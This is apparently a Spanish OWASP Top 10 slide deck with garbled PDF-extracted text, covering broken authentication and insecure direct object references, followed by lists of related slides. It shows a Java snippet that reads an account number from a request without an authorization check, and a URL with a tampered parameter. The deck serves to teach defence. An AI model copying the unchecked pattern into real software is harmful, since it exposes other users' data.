  todavía	
  se	
  encuentra	
  autenDcado.	
  	
  
                                                                                                                                                        • 	
  OWASP	
  TesDng	
  Guide:	
  Chapter	
  on	
  AuthenDcaDon	
  
 Escenario	
  #3:	
  Un	
  atacante	
  de	
  dentro	
  de	
  la	
  organización,	
  o	
  externo,	
  consigue	
                                         Externas	
  
 acceder	
  a	
  la	
  base	
  de	
  datos	
  de	
  contraseñas	
  del	
  sistema.	
  Las	
  contraseñas	
  de	
  los	
  
 usuarios	
  no	
  se	
  encuentran	
  cifradas,	
  mostrando	
  todas	
  las	
  contraseñas	
  en	
  claro	
                                           • 	
  CWE	
  Entry	
  287	
  on	
  Improper	
  AuthenDcaDon	
  
 al	
  atacante.	
  
A4	
                                    Referencia	
  Directa	
  Insegura	
  a	
  Objetos	
  
                                                  	
  	
  	
  	
  Vectores	
                                  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  Deficiencias	
                                            	
  Impactos	
                               Impactos	
  en	
  
         Agentes	
  	
                            de	
  Ataque	
                                                                                 de	
  Seguridad	
                                                 Técnicos	
                                    el	
  negocio	
  
       de	
  amenaza	
  
                                                   Explotación	
                                Prevalencia	
                                                     Detección	
                                    Impacto	
  
       __________	
                                                                                                                                                                                                                                           __________	
  
                                                      FACIL	
                                    COMUN	
                                                            FACIL	
                                     MODERADO	
  
Considerar	
  los	
  Dpos	
  de	
         Un	
  atacante,	
  como	
                      Normalmente,	
  las	
  aplicaciones	
  uDlizan	
  el	
  nombre	
  o	
                                          Dichas	
  vulnerabilidades	
                  Considerar	
  el	
  valor	
  de	
  
usuarios	
  en	
  su	
  sistema.	
        usuario	
  autorizado	
  en	
  el	
            clave	
  actual	
  de	
  un	
  objeto	
  cuando	
  se	
  generan	
  las	
                                      pueden	
  comprometer	
                       negocio	
  de	
  los	
  datos	
  
¿Existen	
  usuarios	
  que	
             sistema,	
  simplemente	
                      páginas	
  web.	
  Las	
  aplicaciones	
  no	
  siempre	
  verifican	
                                          toda	
  la	
  información	
  que	
            afectados.	
  
tengan	
  únicamente	
                    modifica	
  el	
  valor	
  de	
  un	
           que	
  el	
  usuario	
  Dene	
  autorización	
  sobre	
  el	
  objeDvo.	
                                      pueda	
  ser	
  referida	
  por	
  
acceso	
  parcial	
  a	
                  parámetro	
  que	
  se	
  refiere	
             Esto	
  resulta	
  en	
  una	
  vulnerabilidad	
  de	
  referencia	
  de	
                                     parámetros.	
  A	
  menos	
                   También	
  considere	
  el	
  
determinados	
  Dpos	
  de	
              directamente	
  a	
  un	
  objeto	
            objetos	
  directos	
  inseguros.	
  Los	
  auditores	
  pueden	
                                              que	
  el	
  espacio	
  de	
                  impacto	
  en	
  el	
  negocio	
  la	
  
                                                                                                                                                                                                                                                      exposición	
  pública	
  de	
  la	
  
datos	
  del	
  sistema?	
                del	
  sistema	
  a	
  otro	
  objeto	
        manipular	
  fácilmente	
  los	
  valores	
  del	
  parámetro	
  para	
                                        nombres	
  resulte	
  escaso,	
  
                                                                                                                                                                                                                                                      vulnerabilidad	
  
                                          para	
  el	
  que	
  el	
  usuario	
  no	
     detectar	
  estas	
  vulnerabilidades	
  y	
  un	
  análisis	
  de	
                                           para	
  un	
  atacante	
  resulta	
  
                                          se	
  encuentra	
  autorizado.	
               código	
  mostraría	
  rápidamente	
  si	
  la	
  autorización	
  se	
                                         sencillo	
  acceder	
  a	
  todos	
  
                                          ¿Se	
  concede	
  el	
  acceso?	
  	
          verifica	
  correctamente.	
  	
                                                                                los	
  datos	
  disponibles	
  de	
  
                                                                                                                                                                                                        ese	
  Dpo.	
  	
  


 ¿Soy	
  vulnerable?	
                                                                                                                                 ¿Como	
  puedo	
  evitar	
  esto?	
  
 La	
  mejor	
  manera	
  de	
  poder	
  comprobar	
  si	
  una	
  aplicación	
  es	
  vulnerable	
  a	
                                               Prevenir	
  referencias	
  inseguras	
  a	
  objetos	
  directos	
  requiere	
  seleccionar	
  una	
  
 referencias	
  inseguras	
  a	
  objetos	
  es	
  verificar	
  que	
  todas	
  las	
  referencias	
  a	
  objetos	
                                    manera	
  de	
  proteger	
  los	
  objetos	
  accesibles	
  por	
  cada	
  usuario	
  (por	
  ejemplo,	
  
 Denen	
  las	
  protecciones	
  apropiadas.	
  Para	
  conseguir	
  esto,	
  considerar:	
                                                            idenDficadores	
  de	
  objeto,	
  nombres	
  de	
  fichero):	
  

 1.           para	
  referencias	
  directas	
  a	
  recursos	
  restringidos,	
  la	
  aplicación	
                                                  1.                   UBlizar	
  referencias	
  indirectas	
  por	
  usuario	
  o	
  sesión.	
  Esto	
  evitaría	
  que	
  
              necesitaría	
  verificar	
  si	
  el	
  usuario	
  está	
  autorizado	
  a	
  acceder	
  al	
  recurso	
                                                       los	
  atacantes	
  accedieren	
  directamente	
  a	
  recursos	
  no	
  autorizados.	
  Por	
  
              en	
  concreto	
  que	
  solicita.	
                                                                                                                          ejemplo,	
  en	
  vez	
  de	
  uDlizar	
  la	
  clave	
  del	
  recurso	
  de	
  base	
  de	
  datos,	
  se	
  
                                                                                                                                                                            podría	
  uDlizar	
  una	
  lista	
  de	
  6	
  recursos	
  que	
  uDlizase	
  los	
  números	
  del	
  1	
  
 2.           si	
  la	
  referencia	
  es	
  una	
  referencia	
  indirecta,	
  la	
  correspondencia	
  con	
  la	
                                                       al	
  6	
  para	
  indicar	
  cuál	
  es	
  el	
  valor	
  elegido	
  por	
  el	
  usuario.	
  La	
  aplicación	
  
              referencia	
  directa	
  debe	
  ser	
  limitada	
  a	
  valores	
  autorizados	
  para	
  el	
                                                               tendría	
  que	
  realizar	
  la	
  correlación	
  entre	
  la	
  referencia	
  indirecta	
  con	
  la	
  
              usuario	
  en	
  concreto.	
                                                                                                                                  clave	
  de	
  la	
  base	
  de	
  datos	
  correspondiente	
  en	
  el	
  servidor.	
  ESAPI	
  de	
  
                                                                                                                                                                            OWASP	
  incluye	
  relaciones	
  tanto	
  secuenciales	
  como	
  aleatorias	
  de	
  
 Un	
  análisis	
  del	
  código	
  de	
  la	
  aplicación	
  serviría	
  para	
  verificar	
  rápidamente	
  si	
                                                           referencias	
  de	
  acceso	
  que	
  los	
  desarrolladores	
  pueden	
  uDlizar	
  para	
  
 dichas	
  propuestas	
  se	
  implementan	
  con	
  seguridad.	
  También	
  es	
  efecDvo	
  
                                                                                                                                                                            eliminar	
  las	
  referencias	
  directas	
  a	
  objetos.	
  	
  
 realizar	
  comprobaciones	
  para	
  idenDficar	
  referencias	
  a	
  objetos	
  directos	
  y	
  si	
  
 estos	
  son	
  seguros.	
  Normalmente	
  las	
  herramientas	
  automáDcas	
  no	
  detectan	
  
 este	
  Dpo	
  vulnerabilidades	
  porque	
  no	
  son	
  capaces	
  de	
  reconocer	
  cuales	
                                                      2.                   Comprobar	
  el	
  acceso.	
  Cada	
  uso	
  de	
  una	
  referencia	
  directa	
  a	
  un	
  objeto	
  
 necesitan	
  protección	
  o	
  cuales	
  son	
  seguros	
  o	
  inseguros.	
  	
                                                                                          de	
  una	
  fuente	
  que	
  no	
  es	
  de	
  confianza	
  debe	
  incluir	
  una	
  comprobación	
  
                                                                                                                                                                            de	
  control	
  de	
  acceso	
  para	
  asegurar	
  que	
  el	
  usuario	
  está	
  autorizado	
  a	
  
                                                                                                                                                                            acceder	
  al	
  objeto	
  solicitado.	
  



 Ejemplos	
  de	
  escenarios	
  de	
  ataque	
                                                                                                        Referencias	
  
 La	
  aplicación	
  uDliza	
  datos	
  no	
  verificados	
  en	
  una	
  llamada	
  SQL	
  que	
  accede	
  a	
                                        OWASP	
  
 información	
  sobre	
  la	
  cuenta:	
  
                                                                                                                                                       • 	
  OWASP	
  Top	
  10-­‐2007	
  on	
  Insecure	
  Dir	
  Object	
  References	
  
 String	
  query	
  =	
  "SELECT	
  *	
  FROM	
  accts	
  WHERE	
  account	
  =	
  ?";	
  
                                                                                                                                                       • 	
  ESAPI	
  Access	
  Reference	
  Map	
  API	
  
 	
  	
  PreparedStatement	
  pstmt	
  =	
  
 	
  	
  connecBon.prepareStatement(query	
  ,	
  …	
  );	
                                                                                            • 	
  ESAPI	
  Access	
  Control	
  API	
  (See	
  isAuthorizedForData(),	
  
                                                                                                                                                       isAuthorizedForFile(),	
  isAuthorizedForFuncBon()	
  )	
  
 	
  	
  pstmt.setString(	
  1,	
  request.getparameter("acct"));	
  
 	
  	
  ResultSet	
  results	
  =	
  pstmt.executeQuery(	
  );	
                                                                                      Para	
  requisitos	
  adiciones	
  en	
  controles	
  de	
  acceso,	
  consultar	
  la	
  
                                                                                                                                                       sección	
  de	
  requisitos	
  sobre	
  Control	
  de	
  Acceso	
  de	
  ASVS	
  (V4).	
  
 El	
  atacante	
  simplemente	
  modificaría	
  el	
  parámetro	
  “acct”	
  en	
  su	
  navegador	
  
 para	
  enviar	
  cualquier	
  número	
  de	
  cuenta	
  que	
  quiera.	
  Si	
  esta	
  acción	
  no	
  se	
  
 verifica,	
  el	
  atacante	
  podría	
  acceder	
  a	
  cualquier	
  cuenta	
  de	
  usuario,	
  en	
  vez	
  de	
  a	
                               Externas	
  
 su	
  cuenta	
  de	
  cliente	
  correspondiente.	
  
                                                                                                                                                       • 	
  CWE	
  Entry	
  639	
  on	
  Insecure	
  Direct	
  Object	
  References	
  
 hsp://example.com/app/accountInfo?acct=notmyacct	
  
                                                                                                                                                       • 	
  CWE	
  Entry	
  22	
  on	
  Path	
  Traversal	
  (que	
  es	
  un	
  ejemplo	
  de	
  ataque	
  de	
  
                                                                                                                                                       referencia	
  a	
  un	
  objeto	
  directo)	
  	
  
10 Riesgos más importantes en aplicaciones Web
10 Riesgos más importantes en aplicaciones Web
10 Riesgos más importantes en aplicaciones Web
10 Riesgos más importantes en aplicaciones Web
10 Riesgos más importantes en aplicaciones Web
10 Riesgos más importantes en aplicaciones Web
10 Riesgos más importantes en aplicaciones Web
10 Riesgos más importantes en aplicaciones Web
10 Riesgos más importantes en aplicaciones Web
10 Riesgos más importantes en aplicaciones Web
10 Riesgos más importantes en aplicaciones Web
10 Riesgos más importantes en aplicaciones Web

More Related Content

What's hot

ATRIBUTOS DE CALIDAD ARQUITECTURA DE SOFTWARE.pdf
ATRIBUTOS DE CALIDAD ARQUITECTURA DE SOFTWARE.pdfATRIBUTOS DE CALIDAD ARQUITECTURA DE SOFTWARE.pdf
ATRIBUTOS DE CALIDAD ARQUITECTURA DE SOFTWARE.pdfDavidVeraOlivera
 
Auditoria Fisica
Auditoria FisicaAuditoria Fisica
Auditoria Fisicajiplaza
 
La seguridad informática en power point
La seguridad informática en power pointLa seguridad informática en power point
La seguridad informática en power pointlinda gonzalez
 
Auditoria en informática, Organización, Planes y Estructuras.
Auditoria en informática, Organización, Planes y Estructuras.Auditoria en informática, Organización, Planes y Estructuras.
Auditoria en informática, Organización, Planes y Estructuras.Jasmin G.
 
Modulo I: Arquitectura de Seguridad Informática
Modulo I: Arquitectura de Seguridad InformáticaModulo I: Arquitectura de Seguridad Informática
Modulo I: Arquitectura de Seguridad InformáticaJuan Manuel García
 
Norma ISO/IEC 9126 y Métrica de Calidad del Software
Norma ISO/IEC 9126 y Métrica de Calidad del Software Norma ISO/IEC 9126 y Métrica de Calidad del Software
Norma ISO/IEC 9126 y Métrica de Calidad del Software ehe ml
 
Check List Seguridad Informatica y Sistemas
Check List Seguridad Informatica y SistemasCheck List Seguridad Informatica y Sistemas
Check List Seguridad Informatica y SistemasÁlex Picón
 
Ensayo de seguridad en informatica
Ensayo de seguridad en informatica Ensayo de seguridad en informatica
Ensayo de seguridad en informatica MarianaGarcia349
 
Analisis y Gestion de Riesgos
Analisis y Gestion de RiesgosAnalisis y Gestion de Riesgos
Analisis y Gestion de RiesgosConferencias FIST
 
CICLO DE DESARROLLO DE ARQUITECTURA DE SOFTWARE.pdf
CICLO DE DESARROLLO DE ARQUITECTURA DE SOFTWARE.pdfCICLO DE DESARROLLO DE ARQUITECTURA DE SOFTWARE.pdf
CICLO DE DESARROLLO DE ARQUITECTURA DE SOFTWARE.pdfDavidVeraOlivera
 
MARCO DE REFERENCIA SEGURIDAD DE INFORMACIÓN
MARCO DE REFERENCIA SEGURIDAD DE INFORMACIÓNMARCO DE REFERENCIA SEGURIDAD DE INFORMACIÓN
MARCO DE REFERENCIA SEGURIDAD DE INFORMACIÓNMiguel Cabrera
 
Gestión de Vulnerabilidades
Gestión de VulnerabilidadesGestión de Vulnerabilidades
Gestión de VulnerabilidadesPablo Palacios
 
Herramientas y técnicas para la auditoría informática
Herramientas y técnicas para la auditoría informáticaHerramientas y técnicas para la auditoría informática
Herramientas y técnicas para la auditoría informáticaAcosta Escalante Jesus Jose
 
Powerpoint dela seguridad y proteccion de los sistemas operativos
Powerpoint dela seguridad y proteccion de los sistemas operativosPowerpoint dela seguridad y proteccion de los sistemas operativos
Powerpoint dela seguridad y proteccion de los sistemas operativosAdriana Rodriguez
 
Ingeniería inversa y reingeniería de software
Ingeniería inversa y reingeniería de softwareIngeniería inversa y reingeniería de software
Ingeniería inversa y reingeniería de softwareMoises Medina
 
Plan de pruebas de software
Plan de pruebas de softwarePlan de pruebas de software
Plan de pruebas de softwareEdgardo Rojas
 

What's hot (20)

ATRIBUTOS DE CALIDAD ARQUITECTURA DE SOFTWARE.pdf
ATRIBUTOS DE CALIDAD ARQUITECTURA DE SOFTWARE.pdfATRIBUTOS DE CALIDAD ARQUITECTURA DE SOFTWARE.pdf
ATRIBUTOS DE CALIDAD ARQUITECTURA DE SOFTWARE.pdf
 
Auditoria Fisica
Auditoria FisicaAuditoria Fisica
Auditoria Fisica
 
La seguridad informática en power point
La seguridad informática en power pointLa seguridad informática en power point
La seguridad informática en power point
 
Auditoria en informática, Organización, Planes y Estructuras.
Auditoria en informática, Organización, Planes y Estructuras.Auditoria en informática, Organización, Planes y Estructuras.
Auditoria en informática, Organización, Planes y Estructuras.
 
5. Métodos de Prueba de Software
5. Métodos de Prueba de Software5. Métodos de Prueba de Software
5. Métodos de Prueba de Software
 
Modulo I: Arquitectura de Seguridad Informática
Modulo I: Arquitectura de Seguridad InformáticaModulo I: Arquitectura de Seguridad Informática
Modulo I: Arquitectura de Seguridad Informática
 
Norma ISO/IEC 9126 y Métrica de Calidad del Software
Norma ISO/IEC 9126 y Métrica de Calidad del Software Norma ISO/IEC 9126 y Métrica de Calidad del Software
Norma ISO/IEC 9126 y Métrica de Calidad del Software
 
Norma iso 27000
Norma iso 27000Norma iso 27000
Norma iso 27000
 
3.5 Nessus
3.5 Nessus3.5 Nessus
3.5 Nessus
 
Check List Seguridad Informatica y Sistemas
Check List Seguridad Informatica y SistemasCheck List Seguridad Informatica y Sistemas
Check List Seguridad Informatica y Sistemas
 
Ensayo de seguridad en informatica
Ensayo de seguridad en informatica Ensayo de seguridad en informatica
Ensayo de seguridad en informatica
 
Analisis y Gestion de Riesgos
Analisis y Gestion de RiesgosAnalisis y Gestion de Riesgos
Analisis y Gestion de Riesgos
 
CICLO DE DESARROLLO DE ARQUITECTURA DE SOFTWARE.pdf
CICLO DE DESARROLLO DE ARQUITECTURA DE SOFTWARE.pdfCICLO DE DESARROLLO DE ARQUITECTURA DE SOFTWARE.pdf
CICLO DE DESARROLLO DE ARQUITECTURA DE SOFTWARE.pdf
 
MARCO DE REFERENCIA SEGURIDAD DE INFORMACIÓN
MARCO DE REFERENCIA SEGURIDAD DE INFORMACIÓNMARCO DE REFERENCIA SEGURIDAD DE INFORMACIÓN
MARCO DE REFERENCIA SEGURIDAD DE INFORMACIÓN
 
Gestión de Vulnerabilidades
Gestión de VulnerabilidadesGestión de Vulnerabilidades
Gestión de Vulnerabilidades
 
Herramientas y técnicas para la auditoría informática
Herramientas y técnicas para la auditoría informáticaHerramientas y técnicas para la auditoría informática
Herramientas y técnicas para la auditoría informática
 
Powerpoint dela seguridad y proteccion de los sistemas operativos
Powerpoint dela seguridad y proteccion de los sistemas operativosPowerpoint dela seguridad y proteccion de los sistemas operativos
Powerpoint dela seguridad y proteccion de los sistemas operativos
 
La Auditoría Física
La Auditoría FísicaLa Auditoría Física
La Auditoría Física
 
Ingeniería inversa y reingeniería de software
Ingeniería inversa y reingeniería de softwareIngeniería inversa y reingeniería de software
Ingeniería inversa y reingeniería de software
 
Plan de pruebas de software
Plan de pruebas de softwarePlan de pruebas de software
Plan de pruebas de software
 

Similar to 10 Riesgos más importantes en aplicaciones Web

Owasp top 10_-_2013_final_-_español
Owasp top 10_-_2013_final_-_españolOwasp top 10_-_2013_final_-_español
Owasp top 10_-_2013_final_-_españolfosoSSS
 
Owasp top 10 - 2013 final - español
Owasp top 10 - 2013 final - españolOwasp top 10 - 2013 final - español
Owasp top 10 - 2013 final - españoldavimoryz
 
10 riesgos más críticos que deben afrontar las organizaciones sobre sus aplic...
10 riesgos más críticos que deben afrontar las organizaciones sobre sus aplic...10 riesgos más críticos que deben afrontar las organizaciones sobre sus aplic...
10 riesgos más críticos que deben afrontar las organizaciones sobre sus aplic...Internet Security Auditors
 
Argentesting 2017 - Proyecto OWASP Top 10
Argentesting 2017 - Proyecto OWASP Top 10Argentesting 2017 - Proyecto OWASP Top 10
Argentesting 2017 - Proyecto OWASP Top 10Argentesting
 
Introduccion a la OWASP Guatemala
Introduccion a la OWASP GuatemalaIntroduccion a la OWASP Guatemala
Introduccion a la OWASP GuatemalaCamilo Fernandez
 
Review OWASP 2014 - OWASP Perú
Review OWASP 2014 - OWASP PerúReview OWASP 2014 - OWASP Perú
Review OWASP 2014 - OWASP PerúJohn Vargas
 
Webinar Gratuito: Vulnerabilidades en CMS Web
Webinar Gratuito: Vulnerabilidades en CMS WebWebinar Gratuito: Vulnerabilidades en CMS Web
Webinar Gratuito: Vulnerabilidades en CMS WebAlonso Caballero
 
Owasp top 10_2007_spanish
Owasp top 10_2007_spanishOwasp top 10_2007_spanish
Owasp top 10_2007_spanishTommy Clive
 
SeguridadAuditoria.pptx
SeguridadAuditoria.pptxSeguridadAuditoria.pptx
SeguridadAuditoria.pptxssuser3937f41
 
Curso Virtual OWASP Top 10 2019
Curso Virtual OWASP Top 10 2019Curso Virtual OWASP Top 10 2019
Curso Virtual OWASP Top 10 2019Alonso Caballero
 
Software erp libre y propietario
Software erp libre y propietarioSoftware erp libre y propietario
Software erp libre y propietarioCharlie Stark
 
Software erp libre y propietario
Software erp libre y propietarioSoftware erp libre y propietario
Software erp libre y propietarioRolando
 
Software erp libre y propietario
Software erp libre y propietarioSoftware erp libre y propietario
Software erp libre y propietarioCharlie Stark
 
Software erp libre y propietario
Software erp libre y propietarioSoftware erp libre y propietario
Software erp libre y propietarioCharlie Stark
 

Similar to 10 Riesgos más importantes en aplicaciones Web (20)

Owasp
OwaspOwasp
Owasp
 
Owasp top 10_-_2013_final_-_español
Owasp top 10_-_2013_final_-_españolOwasp top 10_-_2013_final_-_español
Owasp top 10_-_2013_final_-_español
 
Owasp top 10 - 2013 final - español
Owasp top 10 - 2013 final - españolOwasp top 10 - 2013 final - español
Owasp top 10 - 2013 final - español
 
10 riesgos más críticos que deben afrontar las organizaciones sobre sus aplic...
10 riesgos más críticos que deben afrontar las organizaciones sobre sus aplic...10 riesgos más críticos que deben afrontar las organizaciones sobre sus aplic...
10 riesgos más críticos que deben afrontar las organizaciones sobre sus aplic...
 
Owasp
OwaspOwasp
Owasp
 
OWASP
OWASPOWASP
OWASP
 
Presentacion Guia OWASP 2014
Presentacion Guia OWASP 2014Presentacion Guia OWASP 2014
Presentacion Guia OWASP 2014
 
¿Qué es OWASP?
¿Qué es OWASP?¿Qué es OWASP?
¿Qué es OWASP?
 
Argentesting 2017 - Proyecto OWASP Top 10
Argentesting 2017 - Proyecto OWASP Top 10Argentesting 2017 - Proyecto OWASP Top 10
Argentesting 2017 - Proyecto OWASP Top 10
 
Introduccion a la OWASP Guatemala
Introduccion a la OWASP GuatemalaIntroduccion a la OWASP Guatemala
Introduccion a la OWASP Guatemala
 
Review OWASP 2014 - OWASP Perú
Review OWASP 2014 - OWASP PerúReview OWASP 2014 - OWASP Perú
Review OWASP 2014 - OWASP Perú
 
Webinar Gratuito: Vulnerabilidades en CMS Web
Webinar Gratuito: Vulnerabilidades en CMS WebWebinar Gratuito: Vulnerabilidades en CMS Web
Webinar Gratuito: Vulnerabilidades en CMS Web
 
Owasp top 10_2007_spanish
Owasp top 10_2007_spanishOwasp top 10_2007_spanish
Owasp top 10_2007_spanish
 
SeguridadAuditoria.pptx
SeguridadAuditoria.pptxSeguridadAuditoria.pptx
SeguridadAuditoria.pptx
 
Menos Buffer Overflows, más SQL Injections
Menos Buffer Overflows, más SQL InjectionsMenos Buffer Overflows, más SQL Injections
Menos Buffer Overflows, más SQL Injections
 
Curso Virtual OWASP Top 10 2019
Curso Virtual OWASP Top 10 2019Curso Virtual OWASP Top 10 2019
Curso Virtual OWASP Top 10 2019
 
Software erp libre y propietario
Software erp libre y propietarioSoftware erp libre y propietario
Software erp libre y propietario
 
Software erp libre y propietario
Software erp libre y propietarioSoftware erp libre y propietario
Software erp libre y propietario
 
Software erp libre y propietario
Software erp libre y propietarioSoftware erp libre y propietario
Software erp libre y propietario
 
Software erp libre y propietario
Software erp libre y propietarioSoftware erp libre y propietario
Software erp libre y propietario
 

Recently uploaded

TEMA 2 PROTOCOLO DE EXTRACCION VEHICULAR.ppt
TEMA 2 PROTOCOLO DE EXTRACCION VEHICULAR.pptTEMA 2 PROTOCOLO DE EXTRACCION VEHICULAR.ppt
TEMA 2 PROTOCOLO DE EXTRACCION VEHICULAR.pptJavierHerrera662252
 
El_Blog_como_herramienta_de_publicacion_y_consulta_de_investigacion.pptx
El_Blog_como_herramienta_de_publicacion_y_consulta_de_investigacion.pptxEl_Blog_como_herramienta_de_publicacion_y_consulta_de_investigacion.pptx
El_Blog_como_herramienta_de_publicacion_y_consulta_de_investigacion.pptxAlexander López
 
GonzalezGonzalez_Karina_M1S3AI6... .pptx
GonzalezGonzalez_Karina_M1S3AI6... .pptxGonzalezGonzalez_Karina_M1S3AI6... .pptx
GonzalezGonzalez_Karina_M1S3AI6... .pptx241523733
 
Red Dorsal Nacional de Fibra Óptica y Redes Regionales del Perú
Red Dorsal Nacional de Fibra Óptica y Redes Regionales del PerúRed Dorsal Nacional de Fibra Óptica y Redes Regionales del Perú
Red Dorsal Nacional de Fibra Óptica y Redes Regionales del PerúCEFERINO DELGADO FLORES
 
La Electricidad Y La Electrónica Trabajo Tecnología.pdf
La Electricidad Y La Electrónica Trabajo Tecnología.pdfLa Electricidad Y La Electrónica Trabajo Tecnología.pdf
La Electricidad Y La Electrónica Trabajo Tecnología.pdfjeondanny1997
 
Excel (1) tecnologia.pdf trabajo Excel taller
Excel  (1) tecnologia.pdf trabajo Excel tallerExcel  (1) tecnologia.pdf trabajo Excel taller
Excel (1) tecnologia.pdf trabajo Excel tallerValentinaTabares11
 
Modelo de Presentacion Feria Robotica Educativa 2024 - Versión3.pptx
Modelo de Presentacion Feria Robotica Educativa 2024 - Versión3.pptxModelo de Presentacion Feria Robotica Educativa 2024 - Versión3.pptx
Modelo de Presentacion Feria Robotica Educativa 2024 - Versión3.pptxtjcesar1
 
LUXOMETRO EN SALUD OCUPACIONAL(FINAL).ppt
LUXOMETRO EN SALUD OCUPACIONAL(FINAL).pptLUXOMETRO EN SALUD OCUPACIONAL(FINAL).ppt
LUXOMETRO EN SALUD OCUPACIONAL(FINAL).pptchaverriemily794
 
Tecnologias Starlink para el mundo tec.pptx
Tecnologias Starlink para el mundo tec.pptxTecnologias Starlink para el mundo tec.pptx
Tecnologias Starlink para el mundo tec.pptxGESTECPERUSAC
 
FloresMorales_Montserrath_M1S3AI6 (1).pptx
FloresMorales_Montserrath_M1S3AI6 (1).pptxFloresMorales_Montserrath_M1S3AI6 (1).pptx
FloresMorales_Montserrath_M1S3AI6 (1).pptx241522327
 
tics en la vida cotidiana prepa en linea modulo 1.pptx
tics en la vida cotidiana prepa en linea modulo 1.pptxtics en la vida cotidiana prepa en linea modulo 1.pptx
tics en la vida cotidiana prepa en linea modulo 1.pptxazmysanros90
 
AREA TECNOLOGIA E INFORMATICA TRABAJO EN EQUIPO
AREA TECNOLOGIA E INFORMATICA TRABAJO EN EQUIPOAREA TECNOLOGIA E INFORMATICA TRABAJO EN EQUIPO
AREA TECNOLOGIA E INFORMATICA TRABAJO EN EQUIPOnarvaezisabella21
 
Actividad integradora 6 CREAR UN RECURSO MULTIMEDIA
Actividad integradora 6    CREAR UN RECURSO MULTIMEDIAActividad integradora 6    CREAR UN RECURSO MULTIMEDIA
Actividad integradora 6 CREAR UN RECURSO MULTIMEDIA241531640
 
Crear un recurso multimedia. Maricela_Ponce_DomingoM1S3AI6-1.pptx
Crear un recurso multimedia. Maricela_Ponce_DomingoM1S3AI6-1.pptxCrear un recurso multimedia. Maricela_Ponce_DomingoM1S3AI6-1.pptx
Crear un recurso multimedia. Maricela_Ponce_DomingoM1S3AI6-1.pptxNombre Apellidos
 
El uso de las tic en la vida ,lo importante que son
El uso de las tic en la vida ,lo importante  que sonEl uso de las tic en la vida ,lo importante  que son
El uso de las tic en la vida ,lo importante que son241514984
 
Presentación inteligencia artificial en la actualidad
Presentación inteligencia artificial en la actualidadPresentación inteligencia artificial en la actualidad
Presentación inteligencia artificial en la actualidadMiguelAngelVillanuev48
 
Presentación sobre la Inteligencia Artificial
Presentación sobre la Inteligencia ArtificialPresentación sobre la Inteligencia Artificial
Presentación sobre la Inteligencia Artificialcynserafini89
 
tarea de exposicion de senati zzzzzzzzzz
tarea de exposicion de senati zzzzzzzzzztarea de exposicion de senati zzzzzzzzzz
tarea de exposicion de senati zzzzzzzzzzAlexandergo5
 
Mapa-conceptual-del-Origen-del-Universo-3.pptx
Mapa-conceptual-del-Origen-del-Universo-3.pptxMapa-conceptual-del-Origen-del-Universo-3.pptx
Mapa-conceptual-del-Origen-del-Universo-3.pptxMidwarHenryLOZAFLORE
 
Trabajo de tecnología excel avanzado.pdf
Trabajo de tecnología excel avanzado.pdfTrabajo de tecnología excel avanzado.pdf
Trabajo de tecnología excel avanzado.pdfedepmariaperez
 

Recently uploaded (20)

TEMA 2 PROTOCOLO DE EXTRACCION VEHICULAR.ppt
TEMA 2 PROTOCOLO DE EXTRACCION VEHICULAR.pptTEMA 2 PROTOCOLO DE EXTRACCION VEHICULAR.ppt
TEMA 2 PROTOCOLO DE EXTRACCION VEHICULAR.ppt
 
El_Blog_como_herramienta_de_publicacion_y_consulta_de_investigacion.pptx
El_Blog_como_herramienta_de_publicacion_y_consulta_de_investigacion.pptxEl_Blog_como_herramienta_de_publicacion_y_consulta_de_investigacion.pptx
El_Blog_como_herramienta_de_publicacion_y_consulta_de_investigacion.pptx
 
GonzalezGonzalez_Karina_M1S3AI6... .pptx
GonzalezGonzalez_Karina_M1S3AI6... .pptxGonzalezGonzalez_Karina_M1S3AI6... .pptx
GonzalezGonzalez_Karina_M1S3AI6... .pptx
 
Red Dorsal Nacional de Fibra Óptica y Redes Regionales del Perú
Red Dorsal Nacional de Fibra Óptica y Redes Regionales del PerúRed Dorsal Nacional de Fibra Óptica y Redes Regionales del Perú
Red Dorsal Nacional de Fibra Óptica y Redes Regionales del Perú
 
La Electricidad Y La Electrónica Trabajo Tecnología.pdf
La Electricidad Y La Electrónica Trabajo Tecnología.pdfLa Electricidad Y La Electrónica Trabajo Tecnología.pdf
La Electricidad Y La Electrónica Trabajo Tecnología.pdf
 
Excel (1) tecnologia.pdf trabajo Excel taller
Excel  (1) tecnologia.pdf trabajo Excel tallerExcel  (1) tecnologia.pdf trabajo Excel taller
Excel (1) tecnologia.pdf trabajo Excel taller
 
Modelo de Presentacion Feria Robotica Educativa 2024 - Versión3.pptx
Modelo de Presentacion Feria Robotica Educativa 2024 - Versión3.pptxModelo de Presentacion Feria Robotica Educativa 2024 - Versión3.pptx
Modelo de Presentacion Feria Robotica Educativa 2024 - Versión3.pptx
 
LUXOMETRO EN SALUD OCUPACIONAL(FINAL).ppt
LUXOMETRO EN SALUD OCUPACIONAL(FINAL).pptLUXOMETRO EN SALUD OCUPACIONAL(FINAL).ppt
LUXOMETRO EN SALUD OCUPACIONAL(FINAL).ppt
 
Tecnologias Starlink para el mundo tec.pptx
Tecnologias Starlink para el mundo tec.pptxTecnologias Starlink para el mundo tec.pptx
Tecnologias Starlink para el mundo tec.pptx
 
FloresMorales_Montserrath_M1S3AI6 (1).pptx
FloresMorales_Montserrath_M1S3AI6 (1).pptxFloresMorales_Montserrath_M1S3AI6 (1).pptx
FloresMorales_Montserrath_M1S3AI6 (1).pptx
 
tics en la vida cotidiana prepa en linea modulo 1.pptx
tics en la vida cotidiana prepa en linea modulo 1.pptxtics en la vida cotidiana prepa en linea modulo 1.pptx
tics en la vida cotidiana prepa en linea modulo 1.pptx
 
AREA TECNOLOGIA E INFORMATICA TRABAJO EN EQUIPO
AREA TECNOLOGIA E INFORMATICA TRABAJO EN EQUIPOAREA TECNOLOGIA E INFORMATICA TRABAJO EN EQUIPO
AREA TECNOLOGIA E INFORMATICA TRABAJO EN EQUIPO
 
Actividad integradora 6 CREAR UN RECURSO MULTIMEDIA
Actividad integradora 6    CREAR UN RECURSO MULTIMEDIAActividad integradora 6    CREAR UN RECURSO MULTIMEDIA
Actividad integradora 6 CREAR UN RECURSO MULTIMEDIA
 
Crear un recurso multimedia. Maricela_Ponce_DomingoM1S3AI6-1.pptx
Crear un recurso multimedia. Maricela_Ponce_DomingoM1S3AI6-1.pptxCrear un recurso multimedia. Maricela_Ponce_DomingoM1S3AI6-1.pptx
Crear un recurso multimedia. Maricela_Ponce_DomingoM1S3AI6-1.pptx
 
El uso de las tic en la vida ,lo importante que son
El uso de las tic en la vida ,lo importante  que sonEl uso de las tic en la vida ,lo importante  que son
El uso de las tic en la vida ,lo importante que son
 
